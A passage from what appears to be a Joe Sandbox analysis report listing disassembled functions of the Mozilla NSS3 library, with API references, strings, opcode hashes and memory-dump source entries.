SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA72CE0

Part of subcall function 6CA72E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CA72CDA,?,00000000), ref: 6CA72E1E
Part of subcall function 6CA72E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CA72E33
Part of subcall function 6CA72E00: TlsGetValue.KERNEL32 ref: 6CA72E4E
Part of subcall function 6CA72E00: EnterCriticalSection.KERNEL32(?), ref: 6CA72E5E
Part of subcall function 6CA72E00: PL_HashTableLookup.NSS3(?), ref: 6CA72E71
Part of subcall function 6CA72E00: PL_HashTableRemove.NSS3(?), ref: 6CA72E84
Part of subcall function 6CA72E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CA72E96
Part of subcall function 6CA72E00: PR_Unlock.NSS3 ref: 6CA72EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA72D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CA72D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CA72D3F
free.MOZGLUE(00000000), ref: 6CA72D73
CERT_DestroyCertificate.NSS3(?), ref: 6CA72DB8
free.MOZGLUE ref: 6CA72DC8

Part of subcall function 6CA73E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA73EC2
Part of subcall function 6CA73E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA73ED6
Part of subcall function 6CA73E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA73EEE
Part of subcall function 6CA73E60: PR_CallOnce.NSS3(6CBD2AA4,6CAD12D0), ref: 6CA73F02
Part of subcall function 6CA73E60: PL_FreeArenaPool.NSS3 ref: 6CA73F14
Part of subcall function 6CA73E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA73F27

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: fbe707c390461fa8e8750e2a9fc3718f720491689e6a7df7c48b534c1d326fc5
Instruction ID: d543decbb3fa8959c7bb9ce20a43e11ed164a859a2f15fb772cfa30e39645097
Opcode Fuzzy Hash: fbe707c390461fa8e8750e2a9fc3718f720491689e6a7df7c48b534c1d326fc5
Instruction Fuzzy Hash: EB51E279A04211DFEB209E25CE49B5B77E5FF94308F18063DEC5983611E731E899CBA2

Function 6CA86730 Relevance: 13.6, APIs: 9, Instructions: 150COMMON

Download Yara Rule

APIs

Part of subcall function 6CA85DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA85DEC
Part of subcall function 6CA85DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CA85E0F

_SGN_VerifyPKCS1DigestInfo.NSS3(00000000,?,?,00000000,?,?,?,?,?,?,?,?,6CA86729), ref: 6CA867A0

Part of subcall function 6CACA470: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CACA4A6
Part of subcall function 6CACA470: PORT_Alloc_Util.NSS3(?), ref: 6CACA4EC
Part of subcall function 6CACA470: memcpy.VCRUNTIME140(-00000006,?,?), ref: 6CACA527
Part of subcall function 6CACA470: memcmp.VCRUNTIME140(00000006,?,?), ref: 6CACA56D
Part of subcall function 6CACA470: memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6CACA583
Part of subcall function 6CACA470: PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CACA596
Part of subcall function 6CACA470: free.MOZGLUE(?), ref: 6CACA5A4

SECKEY_SignatureLen.NSS3(?,?,?,?,?,?,?,?,?,6CA86729), ref: 6CA867C0
PR_SetError.NSS3(FFFFE030,00000000,?,?,?,?,?,?,?,?,?,6CA86729), ref: 6CA86800
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CA86842
free.MOZGLUE(?), ref: 6CA86855
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA8686B
free.MOZGLUE(00000000), ref: 6CA86874
PK11_VerifyWithMechanism.NSS3(?,-00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA86729), ref: 6CA868C1
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CA868D6

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Error$Utilfree$Verifymemcmp$AlgorithmAlloc_DestroyDigestFindInfoItem_K11_MechanismPolicyPublicSignatureTag_WithZfreememcpy
String ID:
API String ID: 1437015310-0
Opcode ID: 6c6a6211c00c8bec89aad7ed4ce340a7af3b9282a78049beff44e776bda1c13d
Instruction ID: edf7e4dfad6949eca7e33c8bbb50f05dba93d391945b6f540993a8c6d1bd60f8
Opcode Fuzzy Hash: 6c6a6211c00c8bec89aad7ed4ce340a7af3b9282a78049beff44e776bda1c13d
Instruction Fuzzy Hash: C751D671B112045BFB10CF68DC99BAB73B9FF85308F548528E85EDB740EA31E94587A1

Function 6CAEC790 Relevance: 13.6, APIs: 9, Instructions: 74COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAEC7AE
EnterCriticalSection.KERNEL32 ref: 6CAEC7C7
PK11_FreeSymKey.NSS3 ref: 6CAEC7E5
PK11_FreeSymKey.NSS3 ref: 6CAEC801
PK11_FreeSymKey.NSS3 ref: 6CAEC81D
PK11_FreeSymKey.NSS3 ref: 6CAEC839
PK11_FreeSymKey.NSS3 ref: 6CAEC855
PK11_FreeSymKey.NSS3 ref: 6CAEC871
PR_Unlock.NSS3 ref: 6CAEC891

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: FreeK11_$CriticalEnterSectionUnlockValue
String ID:
API String ID: 2586530110-0
Opcode ID: 2aa206b9e4deb3271bd0b027e01308a820dbfad4a078b1a7d8c1cef4ce1743c3
Instruction ID: 75de73c8a58470c264d93762bcfe8e75d95d56331c35ca73d2c0dfe7172e25b3
Opcode Fuzzy Hash: 2aa206b9e4deb3271bd0b027e01308a820dbfad4a078b1a7d8c1cef4ce1743c3
Instruction Fuzzy Hash: 92310A71A04B418BE720AF79968835ABBE4AB05749F490D6CD8D5D7740EB34EC88CB92

Function 6CAD4DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CAD536F,00000022,?,?,00000000,?), ref: 6CAD4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CAD4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CAD4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CAD4FAE
free.MOZGLUE(?), ref: 6CAD4FC8

Strings

%s=%c%s%c, xrefs: 6CAD4FA9
%s=%s, xrefs: 6CAD4F89

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 73e3de2c66cab77cbd0d176405331305c570e181d66f14535a978f8a30cde359
Instruction ID: 77ea8270eafcb33e9d3a874c6168d9f262c67e8d85d28503a7c148d96ca6ae4a
Opcode Fuzzy Hash: 73e3de2c66cab77cbd0d176405331305c570e181d66f14535a978f8a30cde359
Instruction Fuzzy Hash: 36517B31A442879BEB01CB6AC4907FF7BF59F46308F1E8125E894A7A40D735B9C58792

Function 6CA88CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CA9124D,00000001), ref: 6CA88D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CA9124D,00000001), ref: 6CA88D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CA9124D,00000001), ref: 6CA88D73
PR_Unlock.NSS3(?,?,?,?,?,6CA9124D,00000001), ref: 6CA88D8C

Part of subcall function 6CB1DD70: TlsGetValue.KERNEL32 ref: 6CB1DD8C
Part of subcall function 6CB1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB1DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CA9124D,00000001), ref: 6CA88DBA

Strings

KRAM, xrefs: 6CA88D3E
KRAM, xrefs: 6CA88CF9

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 6bf7714fac6804e0a8564e391d7d508667da508bf60e67311b2f82ee268391bb
Instruction ID: bde734edc882f1dbcb5672452a9c0ea3543632e068e812b755953577daa5b061
Opcode Fuzzy Hash: 6bf7714fac6804e0a8564e391d7d508667da508bf60e67311b2f82ee268391bb
Instruction Fuzzy Hash: 8F21B0B5A05601CFCB00EF78C58465EBBF0FF59318F19896AD89887701EB30E886CB91

Function 6CAAACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CAAACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAAAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAAAD23

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAAAD39

Strings

C_MessageDecryptFinal, xrefs: 6CAAACE1
(CK_INVALID_HANDLE), xrefs: 6CAAAD1C
hSession = 0x%x, xrefs: 6CAAACFE, 6CAAAD0E

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: ba1458139ba81e59d1d74279d7bf45e8b557d508863d700dd8e9d1a338bd8350
Instruction ID: e5bb8f5692aec2f021a789d32e963af264846dbee302426fa37a46aa282e6610
Opcode Fuzzy Hash: ba1458139ba81e59d1d74279d7bf45e8b557d508863d700dd8e9d1a338bd8350
Instruction Fuzzy Hash: A8212F34601194AFDB009FA4DD98B6E77B5EB46319F444429E80997611DB34AC8ECB92

Function 6CAAA550 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptFinal), ref: 6CAAA576
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAAA5A4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAAA5B3

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAAA5C9

Strings

(CK_INVALID_HANDLE), xrefs: 6CAAA5AC
hSession = 0x%x, xrefs: 6CAAA58E, 6CAAA59E
C_MessageEncryptFinal, xrefs: 6CAAA571

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptFinal
API String ID: 332880674-1768899908
Opcode ID: 5c064cc6e6c32159bb3314a8c5a34a7fa31e85da7b6be4c2b50d4f6127c01b29
Instruction ID: 24f16fc322b9a01bd6ae57e14d2bc0801053d07b93c5d17746dbc7ac745850a2
Opcode Fuzzy Hash: 5c064cc6e6c32159bb3314a8c5a34a7fa31e85da7b6be4c2b50d4f6127c01b29
Instruction Fuzzy Hash: 83212C706011D5AFDB009FA4DD98BAE77B6EB4631CF044025E80997B11DB34AD8ECF92

Function 6CB80ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CB80EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CB80EFA

Part of subcall function 6CA6AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CA6AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB80F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB80F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB80F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB80F2B

Strings

Aborting, xrefs: 6CB80EB3
Assertion failure: %s, at %s:%d, xrefs: 6CB80ED9, 6CB80EE5, 6CB80F06, 6CB80F0B

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 06d4a2a791e1452ff2492308da69d97e2cc4a9d068f54eadb1292b12ab430791
Instruction ID: 7029b5b8ac957466616da6a3f2203329475ba4ed9332dfd83309147f17de9b30
Opcode Fuzzy Hash: 06d4a2a791e1452ff2492308da69d97e2cc4a9d068f54eadb1292b12ab430791
Instruction Fuzzy Hash: 6E0184B6901154ABDF016F54EC458AF3F7DEF473A4B004064FD0997B11D671EA5086A2

Function 6CB807B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filestringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CA61FA7,WinDebug,00000000,00000001,?,6CA61FA7,00000000), ref: 6CB807BE
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(6CA61FA7,6CBA843A,6CA61FA7,00000000), ref: 6CB807E0
setvbuf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,00000004,00000000), ref: 6CB807F6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,6CA61FA7,00000000), ref: 6CB80812
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB80827
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB8083F

Strings

WinDebug, xrefs: 6CB807B8

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: __acrt_iob_func$fclosefopensetvbufstrcmp
String ID: WinDebug
API String ID: 1416283249-2102910228
Opcode ID: ee56ad170717ddf751509aa328ffad05575a892603ab72b8dbfedbf2bc7ae14a
Instruction ID: 2e71706a35e399b0c63d47d0d409f221f4f14509615c07048850c912034f7de0
Opcode Fuzzy Hash: ee56ad170717ddf751509aa328ffad05575a892603ab72b8dbfedbf2bc7ae14a
Instruction Fuzzy Hash: CC11C871B039E0ABEF005B689C0566A3668DF433ABF5C0134F81AD7681EB31E95183E3

Function 6CB44D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB44DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB44DE0

Strings

misuse, xrefs: 6CB44DD5
%s at line %d of [%.10s], xrefs: 6CB44DDA
invalid, xrefs: 6CB44DB8
API call with %s database connection pointer, xrefs: 6CB44DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB44DCB

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 92d947f5ccd489f3e83f95bd3c6a89063a6f64fd0a6f3dcb8662d02b81b8a782
Instruction ID: 966e62dd8dc472714bbc5a212b14ea7f8d75d90b6828f00538b74d7613d1996b
Opcode Fuzzy Hash: 92d947f5ccd489f3e83f95bd3c6a89063a6f64fd0a6f3dcb8662d02b81b8a782
Instruction Fuzzy Hash: 08F05915E0C9F42BD7004865CD11FC63355CF01339F0A49A0FD047BE66E209AC788BD2

Function 6CB44DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB44E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB44E4D

Strings

misuse, xrefs: 6CB44E42
%s at line %d of [%.10s], xrefs: 6CB44E47
invalid, xrefs: 6CB44E25
API call with %s database connection pointer, xrefs: 6CB44E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB44E38

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: b753b623072ec95a6df2908c1b8ec937f6189beb4b7c6be3d0e8ba8410bc81e9
Instruction ID: 9bd1be4e2711103c4cc95ee4b11ee35cd5a25c2655a97096b6a7ddf8bc3cbfc9
Opcode Fuzzy Hash: b753b623072ec95a6df2908c1b8ec937f6189beb4b7c6be3d0e8ba8410bc81e9
Instruction Fuzzy Hash: 0FF05214E8C8E82BEB0404619C10FA63389CB02339F0CC4A0EA0837E82D709987116A2

Function 6CAB0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CAB1444,?,00000001,?,00000000,00000000,?,?,6CAB1444,?,?,00000000,?,?), ref: 6CAB0CB3

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CAB1444,?,00000001,?,00000000,00000000,?,?,6CAB1444,?), ref: 6CAB0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CAB1444,?,00000001,?,00000000,00000000,?,?,6CAB1444,?), ref: 6CAB0DEC

Part of subcall function 6CAD0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CA72AF5,?,?,?,?,?,6CA70A1B,00000000), ref: 6CAD0F1A
Part of subcall function 6CAD0F10: malloc.MOZGLUE(00000001), ref: 6CAD0F30
Part of subcall function 6CAD0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CAD0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CAB1444,?,00000001,?,00000000,00000000,?), ref: 6CAB0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CAB1444,?,00000001,?,00000000), ref: 6CAB0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CAB1444,?,00000001,?,00000000,00000000,?), ref: 6CAB0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CAB1444,?,00000001,?,00000000,00000000,?,?,6CAB1444,?,?,00000000), ref: 6CAB0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CAB1444,?,00000001,?,00000000,00000000,?), ref: 6CAB0E79

Part of subcall function 6CAC1560: TlsGetValue.KERNEL32(00000000,?,6CA90844,?), ref: 6CAC157A
Part of subcall function 6CAC1560: EnterCriticalSection.KERNEL32(?,?,?,6CA90844,?), ref: 6CAC158F
Part of subcall function 6CAC1560: PR_Unlock.NSS3(?,?,?,?,6CA90844,?), ref: 6CAC15B2

Part of subcall function 6CA8B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CA91397,00000000,?,6CA8CF93,5B5F5EC0,00000000,?,6CA91397,?), ref: 6CA8B1CB
Part of subcall function 6CA8B1A0: free.MOZGLUE(5B5F5EC0,?,6CA8CF93,5B5F5EC0,00000000,?,6CA91397,?), ref: 6CA8B1D2

